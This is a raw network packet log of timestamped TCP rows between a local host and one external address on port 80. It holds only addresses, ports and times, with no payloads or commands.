Oct 15, 2024 19:22:28.450632095 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.450633049 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.450665951 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.450700998 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.450711012 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.450735092 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.450768948 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.450800896 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.450804949 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.450849056 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.450922012 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.451587915 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.451642036 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.453583956 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.453633070 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.722028971 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.722110033 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.722129107 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.722148895 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.722184896 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.722207069 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.722738981 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.723287106 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.723499060 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.723506927 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.723561049 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.723594904 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.723604918 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.723628998 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.723661900 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.723680973 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.723696947 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.723750114 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.723784924 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.723795891 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.723822117 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.723841906 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.724453926 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.724488974 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.724523067 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.724534988 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.724564075 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.724737883 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.724771023 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.724813938 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.728638887 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.728676081 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.728708029 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.728807926 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.729762077 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.729995012 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.730046988 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.730051994 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.730083942 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.730227947 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.730401039 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.730528116 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.730642080 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.730787992 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.730820894 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.730982065 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.731029987 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.731435061 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.731467962 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.731481075 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.731503963 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.731662989 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.731759071 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.731794119 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.731838942 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.732649088 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.732683897 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.732892990 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.734464884 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.734522104 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.734555006 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.734571934 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.734591007 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.734658003 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.736998081 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.737126112 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.737159014 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.737184048 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.737253904 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.737287998 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.737312078 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.737323999 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.737356901 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.737368107 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.737394094 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.737442970 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.737701893 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.737770081 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.737803936 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.737824917 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.737839937 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.737898111 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.738328934 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.738364935 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.738398075 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.738445044 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.738490105 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.738524914 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.738538027 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.738579035 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.738632917 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.739090919 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.739146948 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.739192009 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.739269018 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.739304066 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.739371061 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.739434004 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.739439011 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.739469051 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.739500999 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.739507914 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.739537954 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.739548922 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.740181923 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.740258932 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.740335941 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.740587950 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.740623951 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.740658045 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.740675926 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.740745068 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.740932941 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.740967989 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.741003036 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.741020918 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.741303921 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.741358042 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.741362095 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.741394043 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.741445065 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.741446018 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.741478920 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.741583109 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.742244005 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.742275953 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.742311001 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.742343903 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.742343903 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.742398024 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.742420912 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.742454052 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.742547989 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.742588997 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.742605925 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.742635012 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.742881060 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.742913961 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.742966890 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.742969036 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.743006945 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.743314028 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.743338108 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.743453026 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.743531942 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.743547916 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.743566990 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.743647099 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.743860960 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.743895054 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.743931055 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.743963957 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.743978977 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.744014978 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.744189978 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.744224072 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.744259119 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.744268894 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.744330883 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.744420052 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.744580030 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.744638920 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.744673014 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.744723082 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.744797945 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.744831085 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.744867086 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.744891882 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.744956017 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.745153904 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.745188951 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.745230913 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.745275021 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.745326996 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.745362043 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.745377064 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.745398045 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.745460987 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.745688915 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.745723009 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.745758057 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.745774984 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.745791912 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.745959997 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.746021032 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.746243000 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.746275902 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.746296883 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.746311903 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.746361971 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.746368885 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.746396065 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.746428967 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.746450901 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.746464014 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.746495962 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.746516943 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.746530056 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.746571064 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.746577024 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.746619940 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.746712923 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.747067928 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.747102022 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.747137070 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.747159004 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.747209072 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.747267962 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.747461081 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.747513056 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.747546911 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.747584105 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.747598886 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.747632980 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.747656107 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.747665882 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.747699976 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.747731924 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.747735977 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.747766018 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.747778893 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.747816086 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.747852087 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.747874975 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.747899055 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.747932911 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.747947931 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.747966051 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.747999907 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.748034000 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.748049021 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.748084068 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.748251915 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.748285055 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.748320103 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.748369932 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.748369932 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.748404026 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.748421907 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.748436928 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.748471022 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.748505116 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.748517036 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.748538971 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.748553991 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.748570919 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.748652935 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.748672962 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.748687983 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.748698950 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.748703957 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.748719931 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.748734951 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.748738050 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.748750925 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.748750925 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.748768091 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.748771906 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.748806953 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.748900890 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.748918056 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.748933077 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.748950005 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.748964071 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.749003887 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.749152899 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.749325037 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.749340057 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.749356985 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.749370098 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.749372005 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.749388933 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.749397039 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.749406099 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.749423981 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.749429941 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.749440908 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.749459028 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.749465942 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.749522924 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.749648094 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.749665022 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.749679089 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.749694109 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.749701023 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.749711037 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.749727011 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.749741077 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.749742031 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.749758005 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.749773979 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.749782085 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.749788046 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.749804020 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.749808073 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.749830961 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.749933004 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.749978065 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.750160933 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.750178099 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.750194073 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.750226021 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.750260115 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.750276089 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.750292063 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.750307083 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.750308037 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.750329971 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.750503063 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.750519037 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.750535011 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.750550032 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.750561953 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.750566959 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.750581980 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.750591040 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:28.750598907 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:28.750612974 CEST	80	49761	87.120.127.223	192.168.2.5
